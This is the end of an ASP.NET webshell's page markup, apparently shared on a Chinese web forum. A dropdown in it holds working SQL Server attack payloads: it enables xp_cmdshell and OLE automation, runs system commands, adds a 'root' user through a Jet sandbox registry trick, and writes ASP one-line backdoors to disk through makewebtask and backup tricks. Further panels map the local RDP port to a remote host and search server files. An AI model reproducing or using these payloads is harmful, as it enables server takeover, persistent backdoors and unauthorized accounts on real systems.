  2516. <div id="irTU" runat="server"></div>
  2517. <div id="uXevN" runat="server">
  2518. Please select a database : <asp:DropDownList runat="server" ID="Pvf" AutoPostBack="True" OnSelectedIndexChanged="zOVO" CssClass="list"></asp:DropDownList>
  2519. SQLExec : <asp:DropDownList runat="server" ID="FGEy" AutoPostBack="True" OnSelectedIndexChanged="zOVO" CssClass="list"><asp:ListItem Value="">-- SQL Server Exec --</asp:ListItem><asp:ListItem Value="Use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')">Add xp_cmdshell</asp:ListItem><asp:ListItem Value="Use master dbcc addextendedproc('sp_OACreate','odsole70.dll')">Add sp_oacreate</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;">Add xp_cmdshell(SQL2005)</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;">Add sp_oacreate(SQL2005)</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',1;RECONFIGURE;">Add makewebtask(SQL2005)</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;">Add openrowset/opendatasource(SQL2005)</asp:ListItem><asp:ListItem Value="Exec master.dbo.xp_cmdshell 'net user'">XP_cmdshell exec</asp:ListItem><asp:ListItem Value="EXEC MASTER..XP_dirtree 'c:\',1,1">XP_dirtree</asp:ListItem><asp:ListItem Value="Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^>>c:\bin.asp';">SP_oamethod exec</asp:ListItem><asp:ListItem Value="sp_makewebtask @outputfile='c:\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>'''">SP_makewebtask make file</asp:ListItem><asp:ListItem Value="exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user root root/add ")')">SandBox</asp:ListItem><asp:ListItem Value="create table [bin_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup log @a to disk=@s;insert into [bin_cmd](cmd)values('<%execute(request(chr(35)))%>');declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='e:\1.asp' backup log @b to disk=@t with init,no_truncate;drop table [bin_cmd];">LogBackup</asp:ListItem><asp:ListItem Value="create table [bin_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup database @a to disk=@s;insert into [bin_cmd](cmd)values('<%execute(request(chr(35)))%>');declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='c:\bin.asp' backup database @b to disk=@t WITH DIFFERENTIAL,FORMAT;drop table [bin_cmd];">DatabaseBackup</asp:ListItem></asp:DropDownList>
  2520. </div>
  2521. <table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td> Run SQL </td></tr><tr><td><textarea id="jHIy" class="area" style="width:600px;height:60px;overflow:auto;" runat="server" rows="6" cols="1"></textarea></td></tr><tr><td>
  2522. <asp:Button runat="server" ID="WOhJ" CssClass="bt" Text="Query" onclick="ORUgV"/></td></tr></table>
  2523. <div style="overflow-x:auto;width:950px" >
  2524. <p>
  2525. <asp:DataGrid runat="server" ID="rom" HeaderStyle-CssClass="head" BorderWidth="0" GridLines="None" ></asp:DataGrid>
  2526. </p>
  2527. </div>
  2528. </div>
  2529. </div>
  2530. <%--PortMap--%>
  2531. <div id="hOWTm" runat="server">
  2532. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2533. <tr align="center">
  2534. <td style="width:5%"></td>
  2535. <td style="width:20%" align="left">本地Ip : <input class="input" runat="server" id="eEpm" type="text" size="20" value="127.0.0.1"/></td>
  2536. <td style="width:20%" align="left">本地端口 : <input class="input" runat="server" id="iXdh" type="text" size="20" value="3389"/></td>
  2537. <td style="width:20%" align="left">远程Ip : <input class="input" runat="server" id="llH" type="text" size="20" value="www.on-e.cn"/></td>
  2538. <td style="width:20%" align="left">远端口程 : <input class="input" runat="server" id="ZHS" type="text" size="20" value="80"/></td></tr>
  2539. <tr align="center"><td colspan="5"><br/><asp:Button ID="FJE" CssClass="bt" runat="server" Text="映射端口" OnClick="wDZ"/> <asp:Button ID="giX" CssClass="bt" runat="server" Text="清除所有" OnClick="vJNsE"/> <asp:Button ID="GFsm" CssClass="bt" runat="server" Text="刷新" OnClick="tYoZ"/></td></tr></table></div>
  2540. <%--Search--%>
  2541. <div id="yhv" runat="server">
  2542. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2543. <tr align="center">
  2544. <td style="width:20%" align="left">关键词</td>
  2545. <td style="width:60%" align="left"><textarea id="iaMKl" runat="server" class="area" style="width:100%" rows="4"></textarea></td>
  2546. <td style="width:20%" align="left"><input type="checkbox" runat="server" id="rAQ" value="1"/> 使用正则表达式</td>
  2547. </tr>
  2548. <tr align="center">
  2549. <td style="width:20%" align="left">替换</td>
  2550. <td style="width:60%" align="left"><textarea id="qPe" runat="server" class="area" style="width:100%" rows="4"></textarea></td>
  2551. <td style="width:20%" align="left"><input type="checkbox" runat="server" id="YZw"/> 替换</td>
  2552. </tr>
  2553. <tr align="center">
  2554. <td style="width:20%" align="left">搜索文件类型</td>
  2555. <td style="width:60%" align="left"><input type="text" runat="server" class="input" id="UDLvA" style="width:100%" value="asp|asa|cer|cdx|aspx|asax|ascx|cs|jsp|php|txt|inc|ini|js|htm|html|xml|config"/></td>
  2556. <td style="width:20%" align="left"><asp:DropDownList runat="server" ID="Ven" AutoPostBack="False" CssClass="list"><asp:ListItem Value="name">文件名称</asp:ListItem><asp:ListItem Value="content" Selected="True">文件内容</asp:ListItem></asp:DropDownList></td>
  2557. </tr>
  2558. <tr align="center">
  2559. <td style="width:20%" align="left">路径</td>
  2560. <td style="width:60%" align="left"><input type="text" class="input" id="NaLJ" runat="server" style="width:100%" /></td>
  2561. <td style="width:20%" align="left"><asp:Button CssClass="bt" id="axy" runat="server" onclick="NBy" Text="开始" /></td>
  2562. </tr>
  2563. </table>
  2564. <br/>
  2565. <br/>
  2566. <asp:Table ID="oJiym" runat="server" Width="100%" CellSpacing="0" >
  2567. <asp:TableRow CssClass="head"><asp:TableCell Width="60%">File Path</asp:TableCell><asp:TableCell Width="20%">Last modified</asp:TableCell><asp:TableCell Width="20%">Size</asp:TableCell></asp:TableRow>
  2568. </asp:Table>
  2569. </div>
  2570. </td></tr></table>
  2571. <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#003300;">Copyright &#169; 2009-2012 <a href="http://www.on-e.cn" target="_blank">ON-e.cn</a> All Rights Reserved.</div></div>
  2572. </form>
  2573. </body>
  2574. </html>
复制代码


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|站长网 网站备案:鄂ICP备13006300号-4

GMT+8, 2024-5-2 09:13 , Processed in 0.049662 second(s), 20 queries .

Powered by Discuz! X3.5

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表